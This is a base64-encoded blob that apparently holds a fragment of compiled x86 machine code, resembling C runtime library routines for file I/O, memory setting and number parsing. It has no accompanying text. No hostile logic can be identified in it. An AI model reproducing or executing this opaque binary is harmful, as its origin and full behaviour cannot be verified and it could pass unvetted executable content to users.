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E7gIAADm1POX//3QIhNsPhN4CAAD/FQwhQQCLlTDl//8zySGNOOX//4mFEOX//4mNNOX//4mVLOX//zlNEA+GgQYAAIuFLOX//zPSiZVA5f//x4UU5f//CgAAACG9POX//4TbD4WuAQAAihAzwIuNJOX//4D6Cg+UwImFGOX//4uFKOX//4sEhdiuQQCJhTzl//85fAE4dByKRAE0iEX0i4U85f//iFX1agIhfAE4jUX0UOtaD77CUOjD3P//WYXAdESLhTDl//+LlSzl//8rwgNFEIP4AQ+G2wEAAGoCUo2FNOX//1DoId///4PEDIP4/w+EBQMAAIuFLOX//0D/hUDl///rJmoB/7Us5f//jYU05f//UOjy3v//g8QMg/j/D4TWAgAAi4Us5f//M8lA/4VA5f//UVFqBYmFLOX//41F9FBqAY2FNOX//1BR/7UQ5f///xVgIEEAiYU85f//hcAPhJUCAABqAI2NOOX//1GLjSTl//9QjUX0UIuFKOX//4sEhdiuQQD/NAH/FbggQQCFwA+ETAEAAIu1QOX//4uNROX//wPxi4U85f//OYU45f//D4xJAgAAOb0Y5f//dEuLjSTl//+NhTjl//9qAFBqAY1F9MZF9A1Qi4Uo5f//iwSF2K5BAP80Af8VuCBBAIXAD4TtAAAAg7045f//AQ+M9wEAAP+FROX//0aLjTTl///phgAAAID7AXQFgPsCdTMPtwgz0mY7jRTl//+JjTTl//8PlMKDwAKJlTzl//+LlUDl//+DwgKJhSzl//+JlUDl//+A+wF0BYD7AnVLUejMMgAAWYuNNOX//2Y7wXV1g8YCOb085f//dCJqDVhQiYU05f//6KYyAABZi4005f//ZjvBdU9G/4VE5f//i5VA5f//i4Us5f//O1UQD4Kp/f//6UUBAACLnSjl//9GigKLlSTl//+LDJ3YrkEAiEQKNIsEndiuQQDHRAI4AQAAAOkXAQAA/xU0IEEAi/jpCgEAAIuFKOX//4sMhdiuQQCLhSTl///2RAgEgA+EdQMAAIuVMOX//zP/ib005f//hNsPhQ4BAACLXRCJlTjl//+F2w+EjQMAADPJjb306///i8KJjTzl//8rhTDl//87w3NEigpCQIiNH+X//4D5ComVOOX//4uNPOX//3UL/4VE5f//xgcNR0GKlR/l//+IF0eLlTjl//9BiY085f//gfn/EwAAcriLjSTl//+NhfTr//8r+I2FIOX//2oAUFeNhfTr//9Qi4Uo5f//iwSF2K5BAP80Af8VuCBBAIXAD4QT////A7Ug5f//Ob0g5f//fBaLlTjl//+LwiuFMOX//zvDD4JB////i7005f//i41E5f//hfYPhfUCAACF/w+ErAIAAGoFWzv7D4WYAgAA6JOA///HAAkAAADoVID//4kY6cYCAACLyoD7Ag+F6gAAADl1EA+GfAIAAMeFFOX//woAAACDpRjl//8AjZ306///i8FqDSvCi5UY5f//XjtFEHMzD7c5g8ACg8ECZju9FOX//3UQg4VE5f//AmaJM4PDAoPCAmaJO4PCAoPDAoH6/hMAAHLIjYX06///iY085f//i40k5f//K9hqAI2FIOX//1BTjYX06///UIuFKOX//4sEhdiuQQD/NAH/FbggQQCLtUDl//+LvTTl//+FwA+E8v3//wO1IOX//4m1QOX//zmdIOX//w+M8f7//4uNPOX//4vBi5Uw5f//K8I7RRAPgi7////p0/7//4tdEImNOOX//4XbD4SKAQAAx4UU5f//CgAAAIOlGOX//wCNhUjl//+LvTjl//8ryouVGOX//zvLczsPtzeDwQKDxwKJvTjl//9mO7UU5f//dRJqDV9miTiDwAKLvTjl//+DwgJmiTCDwgKDwAKB+qgGAABywTP2jY2c8v//VlZoVQ0AAFGNjUjl//8rwZkrwtH4UIvBUFZo6f0AAP8VYCBBAIu1QOX//4u9NOX//4mFPOX//4XAD4QA/f//M8mJjUDl//9qACvBjZUg5f//UlCNhZzy//8DwYuNJOX//1CLhSjl//+LBIXYrkEA/zQB/xW4IEEAhcB0HouNQOX//wONIOX//4uFPOX//4mNQOX//zvBf6/rGv8VNCBBAIuNQOX//4v4i4U85f//ib005f//O8EPj5r9//+LjTjl//+L8YuVMOX//yvyibVA5f//O/MPgsT+///pd/3//2oAjZUg5f//Uv91EP+1MOX///80CP8VuCBBAIXAD4Q9/P//i7Ug5f//M//pR/3//1fo2X3//1nrPIuVMOX//4uFKOX//4uNJOX//4sEhdiuQQD2RAEEQHQJgDoadQQzwOsc6Ml9///HABwAAADoin3//4MgAIPI/+sEK/GLxluLTfxfM81e6BdO//+L5V3DVYvsVot1CIX2D4TqAAAAi0YMOwWEnkEAdAdQ6LWN//9Zi0YQOwWInkEAdAdQ6KON//9Zi0YUOwWMnkEAdAdQ6JGN//9Zi0YYOwWQnkEAdAdQ6H+N//9Zi0YcOwWUnkEAdAdQ6G2N//9Zi0YgOwWYnkEAdAdQ6FuN//9Zi0YkOwWcnkEAdAdQ6EmN//9Zi0Y4OwWwnkEAdAdQ6DeN//9Zi0Y8OwW0nkEAdAdQ6CWN//9Zi0ZAOwW4nkEAdAdQ6BON//9Zi0ZEOwW8nkEAdAdQ6AGN//9Zi0ZIOwXAnkEAdAdQ6O+M//9Zi0ZMOwXEnkEAdAdQ6N2M//9ZXl3DVYvsVot1CIX2dFmLBjsFeJ5BAHQHUOi+jP//WYtGBDsFfJ5BAHQHUOisjP//WYtGCDsFgJ5BAHQHUOiajP//WYtGMDsFqJ5BAHQHUOiIjP//WYtGNDsFrJ5BAHQHUOh2jP//WV5dw1WL7FaLdQiF9g+EbgMAAP92BOhbjP///3YI6FOM////dgzoS4z///92EOhDjP///3YU6DuM////dhjoM4z///826CyM////diDoJIz///92JOgcjP///3Yo6BSM////dizoDIz///92MOgEjP///3Y06PyL////dhzo9Iv///92OOjsi////3Y86OSL//+DxED/dkDo2Yv///92ROjRi////3ZI6MmL////dkzowYv///92UOi5i////3ZU6LGL////dljoqYv///92XOihi////3Zg6JmL////dmTokYv///92aOiJi////3Zs6IGL////dnDoeYv///92dOhxi////3Z46GmL////dnzoYYv//4PEQP+2gAAAAOhTi////7aEAAAA6EiL////togAAADoPYv///+2jAAAAOgyi////7aQAAAA6CeL////tpQAAADoHIv///+2mAAAAOgRi////7acAAAA6AaL////tqAAAADo+4r///+2pAAAAOjwiv///7aoAAAA6OWK////trgAAADo2or///+2vAAAAOjPiv///7bAAAAA6MSK////tsQAAADouYr///+2yAAAAOiuiv//g8RA/7bMAAAA6KCK////trQAAADolYr///+21AAAAOiKiv///7bYAAAA6H+K////ttwAAADodIr///+24AAAAOhpiv///7bkAAAA6F6K////tugAAADoU4r///+20AAAAOhIiv///7bsAAAA6D2K////tvAAAADoMor///+29AAAAOgniv///7b4AAAA6ByK////tvwAAADoEYr///+2AAEAAOgGiv///7YEAQAA6PuJ//+DxED/tggBAADo7Yn///+2DAEAAOjiif///7YQAQAA6NeJ////thQBAADozIn///+2GAEAAOjBif///7YcAQAA6LaJ////tiABAADoq4n///+2JAEAAOigif///7YoAQAA6JWJ////tiwBAADoion///+2MAEAAOh/if///7Y0AQAA6HSJ////tjgBAADoaYn///+2PAEAAOheif///7ZAAQAA6FOJ////tkQBAADoSIn//4PEQP+2SAEAAOg6if///7ZMAQAA6C+J////tlABAADoJIn///+2VAEAAOgZif///7ZYAQAA6A6J////tlwBAADoA4n///+2YAEAAOj4iP//g8QcXl3DVYvsUVaLdQxXVuhuzf//WYtODIv49sGCdRnon3j//8cACQAAAINODCC4//8AAOkpAQAA9sFAdA3ogXj//8cAIgAAAOvgUzPb9sEBdBOJXgT2wRB0f4tGCIPh/okGiU4Mi0YMg+DviV4Eg8gCiUYMqQwBAAB1Kuj1aP//g8AgO/B0DOjpaP//g8BAO/B1C1foDc3//1mFwHUHVugyAgAAWfdGDAgBAAB0fYtWCIsOK8qJTQyNQgKJBotGGIPoAolGBIXJfhdRUlfo/PD//4PEDIvY60eDySCJTgzrdYP//3Qbg//+dBaLx4vPwfgFg+EfweEGAwyF2K5BAOsFudibQQD2QQQgdBRqAlNTV+hRAAAAI8KDxBCD+P90MotGCItNCGaJCOsii0UIZolF/I1F/GoCUFfHRQwCAAAA6Inw//+LTQiDxAyL2DtdDHQLg04MILj//wAA6wMPt8FbX16L5V3Dahho4INBAOird///g87/iXXYiXXci30Ig//+dRjoBnf//4MgAOgyd///xwAJAAAA6b0AAACF/w+InQAAADs9bLJBAA+DkQAAAIvHwfgFiUXki9+D4x/B4waLBIXYrkEAD75EGASD4AF0cFfoxiUAAFmDZfwAi0XkiwSF2K5BAPZEGAQBdBj/dRT/dRD/dQxX6GcAAACDxBCL8Iva6xXouXb//8cACQAAAOh6dv//gyAAi96Jddi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